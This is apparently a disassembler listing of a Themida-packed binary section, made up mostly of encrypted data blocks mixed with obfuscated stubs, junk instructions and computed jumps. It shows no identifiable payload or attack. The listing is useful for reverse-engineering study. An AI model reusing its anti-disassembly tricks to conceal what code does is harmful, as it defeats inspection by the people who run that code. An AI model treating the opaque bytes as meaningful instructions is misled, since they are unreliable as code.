dd 94FB1E30h, 0F668CA1Ah, 0BA092A24h, 0C1BACC24h, 0C54D627Fh
dd 0FE2265D5h, 0E65F1CE5h, 117E558Dh, 88D04D9Dh, 4ACD75CBh
dd 16F391E1h, 77546AFEh, 47170B5Fh, 66A68B4Ah, 4F0E0h
dd 7A9C7400h, 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h
dd 0ED668C65h, 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh
dd 38DCA320h, 357A13AEh, 0B33092A6h, 1442A0CCh, 7E008F7Bh
dd 4798E39Ch, 0A4FACCDEh, 89000000h, 0FD19F492h, 0F5182AC5h
dd 62C4149Ah, 0A0FC8300h, 0F15A1442h, 356D8B65h, 658F889Ah
dd 0EB13AE2Ch, 0B7943282h, 0E307BA98h, 9BFBB735h, 408EFD9h
dd 27BB14C2h, 0CC1C3411h, 2C197F5Ah, 67796C21h, 0E9C5CAA1h
dd 84361C99h, 0E444144Ah, 92889067h, 7CD53E1Bh, 85226D44h
dd 7046901h, 66B60F20h, 76B997E9h, 80D43D1Ch, 5A4EB4ACh
dd 365FE525h, 2E000004h, 8AA03456h, 0E7FD91B1h, 475DF10Bh
dd 0AAC05468h, 461FB3CFh, 0B0CCA7A0h, 0E2C061Ch, 7086647Ah
dd 0D1E9C6DCh, 5DDA8A3Dh, 13AE38A6h, 7760EF34h, 1442A080h
dd 42A04B34h, 0E2CCC314h, 2CF31592h, 0E48213AEh, 0FBDAEC0Ah
dd 0AF8C5A92h, 45F34397h, 0B2F26A16h, 3DC2Ch, 8EB08800h
dd 0EB0BE4FAh, 4B654157h, 0AEC2A1B7h, 0D29041Ah, 15AA079h
dd 60760A26h, 0BED46886h, 2036CAE0h, 0E4972B43h, 39C0B734h
dd 498E13AEh, 1AF492BAh, 79D2EEC9h, 7A94A641h, 0D335859Dh
dd 42A0A156h, 0B2C42D14h, 2D7A15ECh, 0FB062AB3h, 5EAE07C2h
dd 0A63F3FE1h, 0D86CD513h, 0BD3A9CFEh, 13A63FC6h, 3BC02B94h
dd 9713A600h, 0AAC8A22Eh, 0BA9F98h, 0C29D0CB7h, 21FC12A6h
dd 3D17B505h, 3A4CE71Fh, 0B3F49D74h, 0D24253E3h, 1DE25F2Bh
dd 0B932B768h, 0A9EF750h, 61795639h, 667E5B29h, 0E30CA416h
dd 0A6360C4Dh, 3C537294h, 0D855603Fh, 1442CD23h, 0B5ED46AFh
dd 0A522BA1Ah, 0BDA89F8Fh, 15971464h, 5C13A6A9h, 0B3C5E5BEh
dd 425C38D4h, 0BD1FB1E9h, 0F129431Fh, 8E14EB56h, 0AE8713A6h
dd 0C2D43D8Eh, 0A68E36C9h, 0C0849513h, 77EF639Ch, 8574D8h
dd 0F6940000h, 9C770317h, 92996E80h, 0CB598220h, 4274A94Eh
dd 5CBC2514h, 0E8380780h, 428A946Bh, 0C7D94214h, 0F1BCEBA4h
dd 8B5A621Dh, 375C51Eh, 0D3EE13Fh, 997789F5h, 0A4BC9937h
dd 0FD39992h, 38A113A6h, 10A85300h, 0DEB13A6h, 14F1BFF7h
dd 0E360C4FCh, 8697EFA3h, 61619EDEh, 0D537D877h, 0F3623463h
dd 974AD8Eh, 13A67172h, 0AA2777E0h, 13A671D5h, 67061881h
dd 0C7h, 0F40CE987h, 0FA10EEBCh, 56BA8FA1h, 73116179h
dd 54744D94h, 0F028811Ch, 0AF7D4355h, 0B280B8D4h, 0B785BDD5h
dd 392EC2DAh, 1442A499h, 23744EECh, 4AD62F45h, 2B45576Bh
dd 8CA2364Eh, 6B8B64AFh, 8C03DA12h, 4755D222h, 1513A6ABh
dd 96F918ACh, 0E74BC818h, 7614405Eh, 7E0EA904h, 0B8538B9Fh
dd 9191E158h, 0E737A07Fh, 0BE526E49h, 758472E4h, 9D190E61h
dd 0F050A9BFh, 705E5085h, 1A2C10h, 8BB50925h, 6E623872h
dd 1DFA82Eh, 0AD850000h, 8E1F78Bh, 623E54E8h, 0BF9EB448h
dd 260117ABh, 579D760Ah, 730723FEh, 0D165835Dh, 33C7DDBBh
dd 9428401Dh, 0CFB431E1h, 8B13AE3Bh, 7B56B746h, 0D8B5CB5Fh
dd 925B2CC0h, 0C90115F4h, 96F91C2Eh, 854BC818h, 5313A6A9h
dd 22FC9AEAh, 839B7804h, 7DFEAB71h, 9613A6A9h, 9A68A0BAh
dd 0B269A1C1h, 8FE7ABDBh, 6996C67Eh, 6ED87808h, 0D7h, 0C8AF2C8Eh
dd 8613A6A5h, 56360B1Dh, 97296179h, 27C3E425h, 7955E33Ah
dd 0DAF4065Fh, 2193E3FFh, 3B9EC663h, 0AA277722h, 144223D5h
dd 40061881h, 42273793h, 152D0A14h, 304C27C5h, 0F6D15DF8h
dd 90A6C8DAh, 8C639BB3h, 4037B403h, 0E144228h, 7FFC4CA5h
dd 13A62611h, 0ADC7A33Fh, 48E6C054h, 20435569h, 8DEF3F6Fh
dd 0A6376B10h, 6D4BE713h, 0EECFE57h, 40D11691h, 0A3F35C14h
dd 79C8A341h, 1A2C859Bh, 75092500h, 1468845Fh, 62375436h
dd 0D61197D7h, 8E000000h, 0EA0094B6h, 475DF111h, 0A7BD516Bh
dd 0A20B4C8h, 0A67F132Fh, 102C0740h, 6E8C667Ch, 0D0E6C4DAh
dd 3149263Ch, 0BD3AEA9Dh, 13AE3CC6h, 56C04F94h, 710F5F7Bh
dd 0A8437B95h, 815E7496h, 5604D569h, 5B296179h, 0B3D2667Eh
dd 995EDBDCh, 351442A0h, 0A62373CCh, 13AE2C50h, 5B209DFFh
dd 0F713AE2Dh, 19D7C8Eh, 62B20B25h, 2DFC8300h, 0DE5B13AEh
dd 13AE2D19h
dd 92FB4CB5h, 0FECBA80h, 704D63F7h, 0B2732058h, 0AF4D26ADh
dd 2E0B7232h, 8F6C8216h, 92713F77h, 0AD750A87h, 78E17237h
dd 5631CF1Fh, 0B6D4AE3Ah, 0BD1E37Eh, 0C09E3C54h, 0C5D772AAh
dd 24017C28h, 534ABC0Ch, 7AA1E0EBh, 172D4F61h, 0FDEC1B3Ah
dd 78BE421Bh, 0A0F90DECh, 3E268h, 8D710000h, 5C7E563Eh
dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
dd 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h, 4C681E6h
dd 51000000h, 4B9h, 59CE2900h, 5C243487h, 81E28952h, 4C2h
dd 4EA8100h, 87000000h, 895C2414h, 89562414h, 4C681E6h
dd 81000000h, 4EEh, 24348700h, 2434895Ch, 8D2CBB53h, 895507ECh
dd 5DEA89DDh, 348B545Bh, 4C48324h, 8FB85052h, 316F3E54h
dd 58042444h, 8108468Fh, 548F0876h, 348B6F3Eh, 0E0895024h
dd 405h, 4C08300h, 5C240487h
; ---------------------------------------------------------------------------
mov edx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58A287
; ---------------------------------------------------------------------------
dd 60F61735h, 9FA87A3Fh, 0B8170C9Fh, 7EC9D33h, 0E0FFC503h
dd 0D751A77h, 1163AE90h, 2C1C9178h, 3E2F01A0h, 406C9188h
dd 1583E736h, 0C390E15h, 9EB68D8Dh, 6A07ECh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 852312C3h
dd 7E41C15h, 1B718D89h, 0BA6607E4h, 85C788A0h, 7E42DA1h
dd 70ACh, 6E2F81BAh, 0B985C728h, 7E422h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 6DA9C351h, 0A6ECA9BBh, 0FF6A3ADEh, 0E41D49B5h, 95296007h
dd 7E40DA5h, 99958B57h, 5A07E412h, 0DF816661h, 95FF6000h
dd 7E43061h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 82C35141h, 4D9AA630h, 0F37AE022h, 6A5CB2h, 0E4195FFh
dd 0C08B07E4h, 4F6F7FEBh, 0B2053E3Dh, 98BBF630h, 249BCEB0h
dd 0EC226185h, 15F3BFD1h, 12D944EBh, 0AA0CE4BAh, 880B1AB5h
dd 0D3EBFABBh, 3FB00F54h, 9A43D28Ah, 4986C5B8h, 76041B64h
dd 9B68D751h, 7914C60Eh, 15E8E865h, 0B9CFAD92h, 1D8C9BB6h
dd 5EA833A1h, 32EB3B76h, 4F99D278h, 529DACC7h, 0BAD1411Eh
dd 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 0CF8BA071h, 798B857h
dd 0B5CB7F48h, 0D7E21451h, 5F4F2183h, 3F8D8D87h, 8907ECA0h
dd 0E435618Dh, 718D8907h, 6A07E41Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D33FC352h
dd 2D70FEA8h, 0C7FC8CC3h, 0E42DA185h, 6A4C07h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 572E8969h, 14E96F91h, 11000000h, 47A61725h, 8E428F5Fh
dd 61C79BDh, 1ACE01CCh, 0C75A7736h, 0E422B985h, 7, 0BD8B6000h
dd 7E42A05h, 6820Fh, 9D330000h, 7E40A51h, 49B5FF61h, 6A07E41Dh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 45A1C353h, 8B0F42B3h, 13h, 0EE9h, 4D6B3A00h
dd 0F964F7E9h, 0D4749DC6h, 0FF743A88h, 0E4306195h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 51EDAC77h, 6A0104FCh, 4195FF00h, 8B07E40Eh, 0B07FEBC0h
dd 0D8F1237Ah, 0F504B02Eh, 15F1363Ch, 9673E031h, 36762331h
dd 0A9EA337Bh, 0C5E17C1Dh, 0EBF3F5A5h, 8204670Ah, 7462880Ch
dd 0A82DFF03h, 654B8E88h, 0A1689D92h, 11EC6290h, 8091DE4h
dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 0C26B2147h, 0A1DDB2A0h
dd 0E6758173h, 11F2349Ch, 35AA8CF2h, 0F8FD2CC8h, 97572F9h
dd 0C671EB10h, 539A84C5h, 62011884h, 4AF89873h, 39D258EEh
dd 9DB663A2h, 8D8DEF64h, 7ECA1AEh, 6A1B589h, 8D8907E4h
dd 7E41B71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 0ADC35343h, 0A44EB018h, 853160F9h, 7E412C9h, 21159D8Bh
dd 0C76107E4h, 0E42DA185h, 68D007h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 70056443h
dd 8962FE0Ah, 0E4020D8Dh, 0D39FBF07h, 85C736CEh, 7E422B9h
dd 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_60C5DB
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60C5DB proc near ; CODE XREF: Themida_:0060C5D3p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_60C5DB endp
; ---------------------------------------------------------------------------
db 0AEh
dd 8B6487E6h, 6890FF9h, 8B000000h, 0E40709B5h, 49B5FF07h
dd 0FC07E41Dh, 306195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 0FF5F37C3h, 0F2AE769h
dd 32F1BD89h, 6A07E4h, 0E4195FFh
db 0E4h
; ---------------------------------------------------------------------------
loc_60C639: ; DATA XREF: Themida_:00582698o
; Themida_:0058577Co
pop es
mov eax, eax
jmp short loc_60C6BD
; ---------------------------------------------------------------------------
dw 0BDEDh
dd 0BD42AC56h, 0A947E085h, 29DE8730h, 0DB93B838h, 0DC9DDE13h
dd 641EDDCh, 1406B45Fh, 0A922CC39h, 0A13BD485h, 0CF98F0E1h
dd 0E7F1D87Ah, 0F9234222h, 0ABB545BBh, 8C9F1F3Fh, 9AEC221h
dd 0CC2AD2FBh, 4EABFEE5h, 6C03F3ADh, 46BDDD56h, 5F885F6Ah
dd 5CF6ABC6h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh, 86C1DA45h
dd 79E43D0Dh, 8D9D6915h, 0C3D42D73h, 16363A5h, 85200DBBh
dd 0A520ED15h
db 0E2h
; ---------------------------------------------------------------------------
loc_60C6BD: ; CODE XREF: Themida_:0060C63Cj
lea ecx, [ebp+7ECA341h]
push 0
push ecx
call sub_60C6CE
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60C6CE proc near ; CODE XREF: Themida_:0060C6C6p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_60C6CE endp
; ---------------------------------------------------------------------------
dw 0B6B3h
dd 0A55DF92Dh, 0B58BB95Dh, 7E42B61h, 8CD8D89h, 8D8907E4h
dd 7E41B71h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0D3C35040h, 63E172CDh, 6850Fh, 820F0000h, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp+7E42DA1h], 6240h
push 0
push ecx
call sub_60C739
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60C739 proc near ; CODE XREF: Themida_:0060C731p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_60C739 endp
; ---------------------------------------------------------------------------
mov al, ds:0B6910CC1h
add eax, [ecx-6005F9Bh]
mov dword ptr [ebp+7E422B9h], 0
jmp loc_60C776
; ---------------------------------------------------------------------------
mov cl, 64h
retn
; ---------------------------------------------------------------------------
dw 7735h
dd 0E0E00893h, 58D2708h, 0DCADA1CFh
db 4Ch, 45h
; ---------------------------------------------------------------------------
loc_60C776: ; CODE XREF: Themida_:0060C75Ej
push dword ptr [ebp+7E41D5Dh]
jl loc_60C794
call sub_60C792
dec ecx
hlt
; ---------------------------------------------------------------------------
db 0F3h, 38h, 0D2h
dd 2262F659h
db 6Fh, 9Bh
; =============== S U B R O U T I N E =======================================
sub_60C792 proc near ; CODE XREF: Themida_:0060C782p
stc
pop esi
loc_60C794: ; CODE XREF: Themida_:0060C77Cj
mov esi, eax
call dword ptr [ebp+7E43061h]
push 0
push eax
call sub_60C7A7
and [eax-3Dh], bl
sub_60C792 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60C7A7 proc near ; CODE XREF: sub_60C792+Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_60C7A7 endp
; ---------------------------------------------------------------------------
aN6TCtLeuFJ db '6 TCβ<
u',1Bh,'δ',7,'j',0
; ---------------------------------------------------------------------------
loc_60C7C7: ; DATA XREF: Themida_:00582D58o
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_60C82C
; ---------------------------------------------------------------------------
db 0D3h, 0DEh, 0DDh
dd 8D726135h, 0A11B6FA2h, 0BAEB83C1h, 6F77B123h, 0B8CCEFA6h
dd 783C3737h, 9F935CACh, 988BFBD0h, 0CCA68A0h, 0FB044ED0h
dd 0EE84894Fh, 72C64472h, 65EE01ECh, 3591FD87h, 0CE8F1B8Dh
dd 306EB0F8h, 75E94B12h, 38055CBEh, 22BD864h, 0A8C52ABh
dd 0F4DD17F2h, 27C866A7h
; ---------------------------------------------------------------------------
loc_60C82C: ; CODE XREF: Themida_:0060C7CFj
jmp loc_60C83A
; ---------------------------------------------------------------------------
db 8Eh, 2Ah, 0EDh
dd 50h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_60C83A: ; CODE XREF: Themida_:loc_60C82Cj
jmp loc_60CD49
; ---------------------------------------------------------------------------
db 0Ah
; ---------------------------------------------------------------------------
xor dl, [eax]
jl short loc_60C8AA
lea ebp, [ebp-27h]
retn
; ---------------------------------------------------------------------------
dd 2339CDE7h, 869C3044h, 22FB8FABh, 8CA883DCh, 0EA08E2F8h
dd 4C624056h, 0ADC5A2B8h, 39B66619h, 13AE0342h, 923CCB10h
dd 0C5FD19F4h, 21FE182Ah, 84DDFDD6h, 90A37E4Ch
db 13h, 6Ch, 0A0h
; ---------------------------------------------------------------------------
loc_60C883: ; CODE XREF: Themida_:0060C8E1j
inc edx
adc al, 0EAh
xor dword ptr [ecx], 42A0CFB4h
adc al, 8Bh
and cl, cl
xor eax, 1BF7421Fh
add ecx, ecx
db 2Eh
aad 9Dh
or ebp, [ecx+42A0572Ch]
loc_60C8A0: ; CODE XREF: Themida_:0060C8ECj
adc al, 3
call far ptr 7341h:79916E88h
; ---------------------------------------------------------------------------
db 9Ah
; ---------------------------------------------------------------------------
loc_60C8AA: ; CODE XREF: Themida_:0060C842j
jp short loc_60C8EE
fisub word ptr [ecx+25h]
cmp bl, [ebp+45h]
mov cl, 9Bh
mov ebp, 1FFD13A7h ; CODE XREF: Themida_:0060C8D3j
or ecx, edx
add ebp, [ecx]
or edx, ebx
sbb al, 45h
add [edx-44h], ebx
fmulp st, st
nop
cmc
movsd
sub [ebx-60h], dl
inc edx
adc al, 0FFh
xchg eax, esi
test [edx-74h], ch
jbe short near ptr loc_60C8B4+3
or [edx-74h], ch
jbe short loc_60C918
mov ds:829A7791h, eax
dec edx
popf
jecxz short loc_60C883
inc edx
adc al, 0C0h
add eax, [ebx+1Bh]
in al, 11h
pop esp
loopne loc_60C8A0
loc_60C8EE: ; CODE XREF: Themida_:loc_60C8AAj
adc al, 3Ah
adc eax, 9133D010h
leave
neg dword ptr [esi+1AB9CB66h]
jl short $+2
; ---------------------------------------------------------------------------
dw 0
dd 5A795643h, 81050D58h, 601794FAh, 0EE144225h, 83D32C85h
dd 0B7EF09E5h
; ---------------------------------------------------------------------------
loc_60C918: ; CODE XREF: Themida_:0060C8D8j
jmp near ptr 241FBF27h
; ---------------------------------------------------------------------------
retf 0F2B8h
; ---------------------------------------------------------------------------
dd 4225B845h, 0F8AC6914h, 5B8C3BC4h, 0A9CE0h, 4ABC0000h
dd 0FF2EE8A1h, 74495B53h, 0C8667D56h, 9F64CFEFh, 1442A0h
dd 4EB70826h, 16EFBDF5h, 8D34A6F6h, 7FA6EEA7h, 0FE1CF682h
dd 795826ECh, 4CC92D65h, 0E8C36118h, 0C7A0BACCh, 20FD13A7h
dd 289A7408h, 719E9F55h, 0C69BAD23h, 275F7B56h, 28608059h
dd 0FA6521EAh, 596F031Fh, 5E2C647Ch, 62306882h, 0F77487h
dd 0CE1442A0h, 6D40C65h, 72D60E2Ch, 0F0CEB1F5h, 182981DAh
dd 0FFF306Ch, 8EF8E05Ch, 21000000h, 275F7B56h, 775C7D59h
dd 64F52831h, 50B4EC45h, 0FF17F492h, 291450EDh, 626FF4Eh
dd 7EFB5DADh, 144297F9h, 0D4C7E555h, 566E428Ah, 0EFC9EBFDh
dd 0D25E7251h, 8A3DBF7h, 0E501DCF6h, 0EC00DFADh, 0F00AE6B4h
dd 0F50DEAB8h, 772F06BDh, 0B8112D08h, 67174F60h, 0E05BACC8h
dd 482FAC0Eh, 61442C9h, 1A36119Dh, 526908h, 56920000h
dd 59275F7Bh, 0B315657Bh, 42A04136h, 54A40D14h, 42A020D7h
dd 3345AE14h, 5D098C6Dh, 57EB07E2h, 16F49286h, 0FBD4EE00h
dd 7311A3DBh, 0A8437B99h, 7B47E48h, 5E702162h, 42599B65h
dd 9BCB8814h, 5B181CE3h, 6B9E0h, 3BD90000h, 5C314361h
dd 10607A56h, 0A04A31AEh, 0A8081442h, 42A0542Bh, 40990214h
dd 0BD9A682Eh, 0DBB755A5h, 0A0B64DCAh, 0BB241442h, 0D38A5062h
dd 0F9D548FCh, 571D8FDFh, 0E7418AAFh, 2214355h, 54D1218Dh
dd 13A6271Eh, 6D3B73DCh, 0CEE47890h, 0F4A1D9F1h, 13A64809h
dd 3A19B77Bh, 0A3FC18F3h, 21BED06Bh, 0E1DFA65h, 0A648EA91h
dd 0A6FF6813h, 71FFC12h, 0C09F3DCFh, 0A3809AACh, 4C15538Bh
dd 30482518h, 293AC59Ch, 3B9BD877h, 0C4000001h, 1C6C424Dh
dd 23431CBAh, 42A0C3B8h, 14268F14h, 0F572D436h, 1442A00Eh
dd 585163CCh, 13A6BE86h, 896EEB4Dh, 4513A6BEh, 58B1CFA9h
dd 0C6FE6746h, 6F031BF8h, 505D7C59h, 0E56403BEh, 0E901F673h
dd 64CD13A6h, 0C462B20Bh, 0C896CEE8h, 6779D2ECh, 0DEF6D3A1h
dd 0E79F68A6h, 94942B4h, 9C3E10C6h, 7B93708Ah, 966F0DE7h
dd 91A33E76h, 772B49B6h, 468ED8h, 4DB70000h, 9D1A6A44h
dd 6BBD5F06h, 8176F355h, 4D9442A0h, 83F3D2E4h, 7D8A388Bh
dd 65855EFDh, 0E039922Dh, 4104FBA8h, 5F269442h, 4C622F27h
dd 0BE187FFCh, 0C537EBBDh, 0DEEAF167h, 0C1A0B2AFh, 7FF6C458h
dd 85000000h, 1C6C424Dh, 0A6B9F59Fh, 0B2B9B13h, 557B5A1Bh
dd 0D09ED62Fh, 3147DBF3h, 57043C54h, 13A6C25Bh, 312C58DBh
dd 89A83C54h, 0F658A806h, 0A6C38279h, 0D5E75013h, 60277AF7h
dd 93F3144Ah, 0C7FF19F5h, 0A73AC12Ch, 2F981B93h, 6E0C9ED6h
dd 0A7427A90h, 869E7B95h, 84C0974Eh, 3BB8FF90h, 1B93A744h
dd 50A912h, 826009Eh, 4A4FDF6h, 0D761C7Fh, 23019F79h, 1F191A06h
dd 25BF81Dh, 424D1BF0h, 3A135A39h, 1868C11Ah, 0A5FB44B6h
dd 0FA5A7450h, 4166C22h, 0AE25D60Bh, 0E31B8413h, 8D72EF51h
dd 4913AE69h, 0D7B4CEE0h, 900D6FBFh, 13AE69EBh, 0CAECFE67h
dd 87BFD7B4h, 0AFEAECDAh, 782CA944h, 7C102805h, 653E8966h
dd 0E6B4EC45h, 4BBF307h, 2906792Dh, 0E25FC111h, 4AACEC1Dh
dd 1C3E50B9h, 0D9112906h, 353h, 3E8DE200h, 245C7E56h, 29617956h
dd 2F677D5Bh, 31698761h, 346C8863h, 376F8B66h, 3E768A69h
dd 427A9470h, 437B9B74h, 0E18951EEh, 4C181h, 0E9810000h
dd 4, 5C240C87h, 81242489h, 42404h, 2F680000h, 89000055h
dd 8950240Ch, 405E0h, 0E8830000h, 24048704h, 2434895Ch
dd 0ECA3B468h, 240C8B07h, 4C481h, 8B540000h, 0C4832434h
dd 6D236804h, 0C890000h, 8468F24h, 5724348Bh, 0C781E789h
dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815924h, 4, 0F7D542E9h
dd 5873A2FFh
db 0E1h
; ---------------------------------------------------------------------------
loc_60CD49: ; CODE XREF: Themida_:loc_60C83Aj
mov eax, 7ECA83Eh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
scasd
and cl, cl
pop eax
retn
; ---------------------------------------------------------------------------
db 25h
dd 34965417h, 3A014A47h, 0EC702D93h, 0BF361961h, 968D7588h
dd 5E9E37E8h, 0EBB83ADFh, 68091F69h, 299D7418h, 1DED1519h
dd 0F8185FD7h, 71F06D9Ch, 606931DBh, 76A23434h, 6CB35FD7h
dd 0C3B119C4h, 0CB675586h, 3B356EA3h, 3B8329FBh, 1DFF0830h
dd 7BAD271Bh, 0BA9A54DAh, 458276FAh, 0ADD254EDh, 640B677Bh
dd 3A407636h, 36CF7506h, 743274A8h, 5BD450DAh, 0AE8648Eh
dd 0BB000000h, 703EAE31h, 7F438DEDh, 38D0F5Ch, 51000000h
dd 815B5FFCh, 5F86C3h, 6800h, 0CF8B0000h, 0D88A6058h, 1834FF61h
dd 0CFC78166h, 830F5EA6h, 2, 0C68106B6h, 190949F6h, 0CB9F281h
dd 0F681117Ah, 2D64BEE5h, 68C0Fh, 0D1810000h, 6B45BCD9h
dd 0C800C681h, 89FC0A3Dh, 0C7810334h, 3797AA29h, 81FBBF0Fh
dd 831550E8h, 0D3B70F07h, 154CC081h, 0FE80783h, 0D8000000h
dd 40ED3571h, 0B5F87951h, 0F40897E0h, 8B666220h, 0F8815AD0h
dd 0FFFFA114h, 0FF8B850Fh, 0BF0FFFFFh, 10EBD1h, 3 dup(0)
dd 8B000000h, 0E68166C0h, 0BD83DE24h, 7E413F1h, 83097500h
dd 0E40935BDh, 19740007h, 0C08B5350h, 42DB8h, 79858900h
dd 8D07E414h, 0E6E9F09Dh, 5BD3FF07h, 35BD8358h, 7E409h
dd 53501774h, 42DB8h, 79858900h, 8D07E414h, 0E6E6DF9Dh
dd 5BD3FF07h, 9B6EBE58h, 958B3C79h, 7E404DDh, 0D08BC08Bh
dd 8D8D8Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 0C843C8C3h, 94280B7Ah, 81662EA5h
dd 8358EDE2h, 840F00F9h, 5Ch, 0B3E8BE66h, 2C3D8B64h, 66000000h
dd 1BCBF281h, 840FFF0Bh, 44h, 26918D29h, 3F8B07E4h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 80FE38BFh
dd 890182E3h, 0E4222995h, 8BC03207h, 0E40D8995h, 66AAF307h
dd 9531D08Bh, 7E42469h, 50414935h, 0DE953h, 97B30000h
dd 439E6665h, 610537C6h, 0C694BBA2h, 0E42C2D85h, 6A4707h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 2E741FC3h, 52B8C114h, 0C568ABEBh, 0F8D2A9Dh, 587h, 0C8B2BA00h
dd 34810970h, 0FC15E924h, 94DABA51h, 952B54A9h, 7E401B1h
dd 2141B5FFh, 5DB607E4h, 0B0A7858Dh, 0BD8907E7h, 7E42B4Dh
dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 27FD55C3h, 958B5028h, 7E42211h, 0A618589h
dd 0B58907E4h, 7E413D1h, 2C2D85C6h, 665307E4h, 688B2DBAh
dd 72FE6EA5h, 48100B6h, 99FC5724h, 0B5FFF515h, 7E42141h
dd 8810Fh, 860F0000h, 2, 858D38B6h, 7E7B0A7h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 53C35646h, 8918AA51h
dd 0E42BDDBDh, 89D0FF07h, 0E42BE985h, 26858D07h, 6007E770h
dd 2E159533h, 860F07E4h, 6, 26E59D8Bh, 896107E4h, 0E4160185h
dd 898D8907h, 6A07E42Fh, 0FFFF6A20h, 0E4160195h, 41493507h
dd 85C75350h, 7E4038Dh, 1, 2B6585C7h, 7E4h, 10E90000h
dd 43000000h, 4010180Dh, 0E5ACCF5Ah, 4043809Eh, 6ABEC357h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0E261C355h, 8BF9EF22h, 0E4301985h, 68D0F07h
dd 2B000000h, 0E4069995h, 0A36407h, 83000000h, 0E4015DBDh
dd 840F0007h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 5EC35343h, 550960D0h, 0BD895822h, 7E42F89h
dd 0AB9858Bh, 0B50307E4h, 7E42BA9h, 8E0FE08Bh, 11h, 6E8h
dd 0F835DA00h, 0BA8134C1h, 6EFA8A38h, 65BD835Eh, 7E414h
dd 3F4850Fh, 9D290000h, 7E40565h, 0AE8h, 8724CD00h, 67AAD642h
dd 0FB62964h, 0C65EF3B7h, 0E42C2D85h, 8D895607h, 7E42355h
dd 74F13F68h, 243481C2h, 6BB1C1E0h, 139DB501h, 0B5FF07E4h
dd 7E42141h, 7B5B523h, 858D07E4h, 7E7B0A7h, 0CBAD0FFh
dd 506310CAh, 8B665250h, 0BA310FD1h, 496640F8h, 489585Ah
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0F6FD4A91h, 0D2AC862Eh, 2DB58B05h, 8B07E406h
dd 0E404D1B5h, 0C18D8D07h, 6A07E426h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 1E55C353h
dd 26D4BA62h, 8E8h, 60347A00h, 6458804Dh, 0D9958BF8h, 5E07E418h
dd 50F78A91h, 8B0F6091h, 5, 719FBCBEh, 0D1816643h, 6A610467h
dd 74BA6604h, 6C16832h, 0D38B86ADh, 3F240481h, 0FF795309h
dd 0E415DDB5h, 95B58B07h, 0FF07E409h, 51006AD0h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 94DE389Fh, 8D0BE5C3h, 299B501h, 0BD8B07E4h, 7E415DDh
dd 6C1BD29h, 7F0307E4h, 53006A3Ch, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 27882F8h, 81D38A2Ah, 0F8C7h
dd 2870F00h, 51000000h, 2447C75Ah, 60000020h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F0C35141h, 11E85481h
dd 0F6000000h, 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h, 54A55A76h
dd 6840Fh, 85890000h, 7E4045Dh, 0E8BD835Ah, 7ECA9h, 11C840Fh
dd 6CBE0000h, 830D0CC3h, 6A28C7h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 0E56D1BC3h, 0F05F6275h
dd 9531F5F6h, 7E413B5h, 6A2E07C7h, 0AE96469h, 19000000h
dd 2813ADEEh, 622717ECh, 447C729h, 617461h, 858BF38Bh
